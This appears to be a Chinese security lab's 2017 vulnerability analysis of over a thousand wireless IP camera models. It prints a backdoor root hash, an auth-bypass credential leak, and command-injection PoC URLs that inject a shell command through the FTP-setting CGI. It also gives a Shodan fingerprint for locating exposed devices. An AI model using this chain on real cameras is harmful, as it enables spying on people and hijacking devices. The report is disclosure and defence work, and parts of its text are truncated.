上千款无线摄像头高危漏洞事件分析报告

作者:昊天实验室
日期:2017/03/11
最后更新日期:2017/03/21
pdf版本:上千款无线摄像头多个高危漏洞事件分析报告.pdf


0x01 事件概述

3月8号,国外安全研究者 @PierreKimSec 在个人博客发表了一篇针对中国厂商所生产的无线IP摄像头固件进行安全性测试的文章,文中公开了发现的多处安全漏洞。这些漏洞影响全球超过1250款OEM型号和20多万台摄像头,其中中国境内的摄像头数量最多,占全球数量的23.79%。攻击者通过精心构造的恶意数据包即可完全控制受影响摄像头,监视用户的一举一动,甚至沦为僵尸网络的一部分。

在经过一些背景调查后我们发现,该文章的部分漏洞实际已经公开,公开纪录最早可以追查到在2017年1月1日由 Matthias Niedermaier 对在此次受影响范围内的 Digoo BB-M2 型号摄像头做了一次检测并发表在个人博客的文章。文中揭露了 Digoo BB-M2 的一个后门账户,密码哈希值为:$1$ybdHbPDn$ii9aEIFNiolBbM9QxW9mr0,而文章1月23日的一条评论中还提及了该摄像头远程命令执行漏洞的利用方式。这两个漏洞与接下来我们要分析的漏洞都相吻合,我们有理由怀疑,攻击者早已开始了对受影响摄像头的攻击!

0x02 漏洞分析

固件中存在一组账户: root:$1$ybdHbPDn$ii9aEIFNiolBbM9QxW9mr0:0:0::/root:/bin/sh
在部分受影响型号摄像头中,默认开启了Telnet服务,可使用这组账户进行登录。

Apple WWDR证书及私钥泄漏

固件的 /system/www/pem/ck.pem 文件包含了Apple证书和私钥,导致攻击者可滥用此证书对非法APP做签名,传播大量恶意应用。

/ # cat /system/www/pem/ck.pem 
Bag Attributes
    friendlyName: Apple Production IOS Push Services: com.app.camera
    localKeyID: 74 9E 29 D0 6A 47 1B 35 AD D4 68 6D 46 D8 E2 37 C8 DA A1 9D 
subject=/UID=com.app.camera/CN=Apple Production IOS Push Services: com.app.camera/OU=SQ6NNPBE2K/C=US
issuer=/C=US/O=Apple Inc./OU=Apple Worldwide Developer Relations/CN=Apple Worldwide Developer Relations Certification Authority
-----BEGIN CERTIFICATE-----
[...]
-----END CERTIFICATE-----
Bag Attributes
    friendlyName: andrew
    localKeyID: 74 9E 29 D0 6A 47 1B 35 AD D4 68 6D 46 D8 E2 37 C8 DA A1 9D 
Key Attributes: 
-----BEGIN RSA PRIVATE KEY-----
[...]
-----END RSA PRIVATE KEY-----
未授权的信息泄漏

摄像头提供的WEB服务基于开源的嵌入式WEB服务 GoAhead 修改,它提供了两种身份认证方式: * HTTP摘要式认证 * 基于URL参数的身份认证(?loginuse=[用户名]&loginpas=[密码]) 但是在访问非 .cgi 后缀的文件时,WEB服务没有正确地校验身份,导致攻击者可以通过传入空值的 loginuseloginpas URL参数绕过身份认证访问非 .cgi 后缀文件。默认环境中,WEB目录下有两个软连接文件(分别是 system.inisystem-b.ini)共同指向了一份配置文件 /system/www/system.ini,这份配置文件包含了设备的网络信息和身份认证所需的用户名密码。那么可以构造一个URL来读取认证密码:

访问URL得到的信息类似如下:

00000000: 5749 4649 4341 4d00 0000 0000 0000 0000  WIFICAM.........
00000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000020: 0000 0100 0000 0000 0000 0000 0000 0000  ................
[...]
00000690: 6164 6d69 6e00 0000 0000 0000 0000 0000  admin...........
000006a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000006b0: 6164 6d69 6e00 0000 0000 0000 0000 0000  password...........
[...]
远程命令执行(需要授权)

set_ftp.cgi 是一个FTP服务的参数设置页面,用于设置FTP服务的相关参数,如绑定IP、FTP用户名密码等。它会把相关参数写入到内部变量中,然后通过访问 ftptest.cgi 会读取内部变量写入到/tmp/ftpupload.sh 并执行,由于没有对关键字符做过滤,导致可以将shell命令注入到脚本文件中。大部分参数都可以用于注入命令,但是因为有长度限制,所以如果需要注入一个较长的命令,可以将 PAYLOAD 分成两部分分别注入到 user 和 pwd 参数,利用一些Shell编程技巧合并执行。
简单的poc如下:

http://192.168.1.100/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=password&svr=192.168.1.1&port=21&user=ftp&pwd=$(ftp x.com)ftp&dir=/&mode=PORT&upload_interval=0
http://192.168.1.100/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=password

/tmp/ftpupload.sh 的内容:

/ # cat /tmp/ftpupload.sh 
/bin/ftp -n<

结合刚才的信息泄漏漏洞,可形成利用链,从一个未授权信息泄漏轻而易举地完全控制摄像头系统。

0x03 受影响情况分析

昊天实验室提取出了漏洞固件的WEB指纹信息。使用Shodan搜索结果显示,全球符合特征的共有228,629台设备。shodan搜索关键词:goahead AND 5ccc069c403ebaf9f0171e9517f40e41 world map 全球数量最多的地区TOP 10:

中国54,40623.79%
美国20,2198.84%
泰国19,4028.48%
越南10,5314.6%
中国香港10,0944.41%
韩国8,9963.93%
意大利7,7323.38%
英国6,3672.78%
日本6,3282.76%
巴西6,2952.75%

affect cities 全球数量最多的地区TOP 10:

广州6,27111.52%
南京4,5208.3%
济南3,5436.51%
北京2,5824.74%
郑州2,2974.22%
沈阳2,2114.06%
河北2,0923.84%
上海2,0683.8%
合肥1,7403.19%
深圳1,5452.83%

全球受影响设备使用的端口的数量统计: affect_ports 在全球受影响设备上,81端口的使用率最高,占了74.39%。

0x04 时间线

  • [2017-03-08] PierreKimSec发表文章
  • [2017-03-09] 昊天实验室验证漏洞并分析危害
  • [2017-03-11] 撰写此报告

0x05. 漏洞验证与修复

  • [1] 禁止外网访问受影响摄像头。
  • [2] 及时升级到最新固件。

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Sricctv AP-011Sricctv AP-014Sricctv H-264
Sricctv OtherSricctv P2P-BLACKSricctv P2P-Black
Sricctv SP-007Sricctv SR-001Sricctv SR-004
Star+Vedia 6836Star+Vedia 7837-WIPStar+Vedia C-7835WIP
Star+Vedia OtherStar+Vedia T-6836WTPStar+Vedia T-7833WIP
Star+Vedia T-7837WIPStar+Vedia T-7838WIPStarCam C33-X4
StarCam EY4StarCam F6836WStarCam Other
StarCam c7837wipStipelectronics OtherStorage+Options HOMEGUARD
Storage+Options OtherStorage+Options SON-IPC1Sumpple 610
Sumpple 610SSumpple 631Sumpple 960P
Sumpple S601Sumpple S610Sumpple S631
Sumpple S651Sumpple qd300Sumpple s631
SunVision+US OtherSunbio OtherSuneyes Other
Suneyes SP-T01EWPSuneyes SP-T01WPSuneyes SP-TM01EWP
Suneyes SP-TM01WPSuneyes SP-tm05wpSunluxy H-264
Sunluxy HZCamSunluxy OtherSunluxy PTZ
Sunluxy SL-701Supra+Space IPCSupra+Space IPC-1
Supra+Space IPC-100ACSupra+Space IPC-10ACSupra+Space Other11
Supra+Space ipc-20cSure-Eye OtherSurecom LN-400
Swann 005FTCDSwann 440Swann 440-IPC
Swann ADS-440Swann ADS-440-PTZSwann ADS-CAMAX1
Swann OtherSwann SWADS-440-IPCSwann SWADS-440IPC-AU
Sygonix 43176ASygonix 43558ASzneo CAM0X
Szneo CoolCamSzneo NIPSzneo NIP-0
Szneo NIP-02Szneo NIP-031Szneo NIP-031H
Szneo NIP-06Szneo NIP-12Szneo NIP-2
Szneo NIP-20Szneo NIP-210485-ABABCSzneo NIP-26
Szneo NIP-XSzneo NP-254095Szneo Other
Szneo TFDTAS-Tech OtherTechnaxx tx-23
Techview GM8126Techview QC-3638Techview qc3839
Temvis OtherTenda C50STenda c30
Tenda c5+Tenvis 0012Tenvis 3815
Tenvis 3815-WTenvis 3815WTenvis 3815W.
Tenvis 3815W2013Tenvis IP-319WTenvis IP-319w
Tenvis IP-391WTenvis IP-391WHDTenvis IP-602W
Tenvis IP602WTenvis IPROBOTTenvis JP-3815W
Tenvis JPT-3814WP2PTenvis JPT-3815Tenvis JPT-3815-P2P
Tenvis JPT-3815WTenvis JPT-3815W+Tenvis JPT-3815WP2P
Tenvis JPT-3815wTenvis JPT-3818Tenvis MINI-319W
Tenvis Mini-319Tenvis OtherTenvis PT-7131W
Tenvis TH-661Tenvis TR-3818Tenvis TR-3828
Tenvis TR3815WTenvis TZ100Tenvis TZ100/IPROBOT3
Tenvus JPG3815WThreeboy IP-660Topcam SL-30IPC01Z
Topcam SL-720IPC02ZTopcam SL-910IW30Topica+CCTV Other
Trivision NC-335PW-HD-10Trust NW-7500Turbo+X Endurance
Turbo+X IIPC-20Uokoo 720PVCatch Other
VCatch VC-MIC720HKValtronics IPValtronics Other
Vandesc IP900Vantech OtherVantech PTZ
Videosec+Security IPC-103Videosec+Security IPP-105Vimicro Other
Vitek+CCTV OtherVstarcam 7823Vstarcam C-7824WIP
Vstarcam C-7833WIP-X4Vstarcam C-7833wipVstarcam C-7837WIP
Vstarcam C-7838WIPVstarcam C50SVstarcam C7816W
Vstarcam C7824WIPVstarcam C782WIPVstarcam C7842WIP
Vstarcam C93Vstarcam C=7824WIPVstarcam Cam360
Vstarcam F-6836WVstarcam H-6837WIVstarcam H-6837WIP
Vstarcam H-6850Vstarcam H-6850WIPVstarcam H-6850wip
Vstarcam ICAM-608Vstarcam OtherVstarcam T-6835WIP
Vstarcam T-6836WTPVstarcam T-6892wpVstarcam T-7815WIP
Vstarcam T-7833WIPVstarcam T-7833wipVstarcam T-7837WIP
Vstarcam T-7838WIPVstarcam T-7892WIPVstarcam T6836WTP
Vstarcam T7837WIPVstarcam c7815wipVstarcam c7833wip
Vstarcam c7850wipWanscam 00D6FB01980FWanscam 106B
Wanscam 118Wanscam 541-WWanscam 543-W
Wanscam 790Wanscam AJ-C0WA-198Wanscam AJ-C0WA-B106
Wanscam AJ-C0WA-B116Wanscam AJ-C0WA-B168Wanscam AJ-C0WA-B1D8
Wanscam AJ-C0WA-C0D8Wanscam AJ-C0WA-C116Wanscam AJ-C0WA-C126
Wanscam AJ-C2WA-B118Wanscam AJ-C2WA-C116Wanscam AJ-C2WA-C118
Wanscam AJ-C2WA-C198Wanscam AJ-COWA-B1D8Wanscam AJ-COWA-C116
Wanscam AJ-COWA-C126Wanscam AJ-COWA-C128Wanscam AW00004J
Wanscam B1D8-1Wanscam C-118Wanscam C-126
Wanscam ColourWanscam FI-18904wWanscam FR-4020A2
Wanscam FR4020A2Wanscam HD-100WWanscam HW-0021
Wanscam HW-0022Wanscam HW-0022HDWanscam HW-0023
Wanscam HW-0024Wanscam HW-0025Wanscam HW-0026
Wanscam HW-0028Wanscam HW-0033Wanscam HW-0036
Wanscam HW-0038Wanscam HW-0039Wanscam HW-22
Wanscam HW0030Wanscam IPWanscam JW-0001
Wanscam JW-0003Wanscam JW-0004Wanscam JW-0004m
Wanscam JW-0005Wanscam JW-0006Wanscam JW-0008
Wanscam JW-0009Wanscam JW-0010Wanscam JW-0011
Wanscam JW-0011lWanscam JW-0012Wanscam JW-0018
Wanscam JW-004Wanscam JW-009Wanscam JW-CD
Wanscam JW000008Wanscam JW0009Wanscam JW001
Wanscam JW0012Wanscam JW008Wanscam JWEV
Wanscam JWEV-011777-NSRVVWanscam JWEV-011921-RXSXTWanscam JWEV-360171-BBEAC
Wanscam JWEV-380096-CECDBWanscam JWEV-PEPLOWWanscam NBC-543W
Wanscam NC-530Wanscam NC-541Wanscam NC-541/W
Wanscam NC-541WWanscam NC-541wWanscam NC-543W
Wanscam NCB-534WWanscam NCB-540WWanscam NCB-541W
Wanscam NCB-541WBWanscam NCB-543WWanscam NCBL-618W
Wanscam NCH-532MWWanscam NCL-610WWanscam NCL-612W
Wanscam NCL-616WWanscam NCL-S616WWanscam Other
Wanscam TG-002Wanscam WJ-0004Wanscam WX-617
Wanscam WorksWanscam XHA-120903181Wanscam XHA-4020a2
Wanscam __PTZWanscam chiOtherneseWanscam ip
Wanscam jw0005Wanscam jw0010Wansview 541
Wansview 625WWansview MCM-627Wansview N540w
Wansview NCB-534WWansview NCB-541WWansview NCB-541w
Wansview NCB-543WWansview NCB541WWansview NCB545W
Wansview NCL-610WWansview NCL610D04Wansview NCL614W
Wansview OtherWansview dcs543wWansview nc543w
Wardmay+CCTV WDM-6702ALWatch+bot+Camera resupWebcamXP Other
WinBook OtherWinBook T-6835WinBook T-6835WIP
WinBook T-7838Winic NVT-530004Wise+Group Other
X-Price OtherX10 39AX10 AIRSIGHT
X10 AirSightX10 AirsightX10 Jake
X10 OtherX10 XC-38AX10 XX-36A
X10 XX-39AX10 XX-56AX10 XX-59A
X10 XX-60X10 XX-69AX10 XX41Ahome
XVision OtherXXCamera 53100XXCamera 5330-E
XXCamera OtherXXCamera XXC-000723-NJFJDXXCamera XXC-092411-DCAFC
XXCamera XXC-50100-HXXCamera XXC-50100-TXXCamera XXC-5030-E
XXCamera XXC-53100-TXXCamera XXC52130Xin+Ling Other
Yawcam OtherZilink OtherZmodo CMI-11123BK
Zmodo IP-900Zmodo OtherZodiac+Security 909
Zodiac+Security OtherZoneway NC638MW-PZyXEL Other
alexim Otheralexim cam22822alias Other
all+in+one+ Otherall+in+one+ b1all-in-one Other
allecto DVC-150IPapc Otherasw-006 Other
boh lbravo Otherbush+plus BU-300WF
ccam p2pchina 8904Wchina HDIPCAM
china IPCAMchina Otherchina PTZCAM
china np-02ciana+exports antanicina Other
coolead Lcoolead L610WSdax Other
denver IPC-320denver IPO-320e-landing 720p
eScam QF100ebw Otherepexis PIPCAMHD82
epexis pipcam5esecure nvpgeeya C602
geeya P2Pgeeya c801hdcam Other
homeguard 720Phomeguard Otherhomeguard Wireless
homeguard wifiiView ID002AiView Other
insteon 75790insteon 75790whinsteon High
insteon Otherinsteon Wirelessiuk 5A1
ivision hdwificamiwitness bulletjwt Other
jyacam JYA8010kadymay KDM-6800kadymay KDM6702
kadymay KMD-6800kadymay Otherkang+xun xxc5030-t
kines Otherkiocong 1601kiocong 1602
kiocong 1609kiocong Otherkodak 201pl
koicong 1601l+series CAM0758l+series CAM0760
l+series Otherl+series V100logan n8504hh
meyetech 095475-caecameyetech 188091-EFBAEmeyetech Other
meyetech WirelessCammicasaverde VistaCamSDpipcam HD17
pni 941wpni IP451Wpni IP541W
pni IP941Wpni IP951Wpni Other
pnp IPpnp Othersemac Other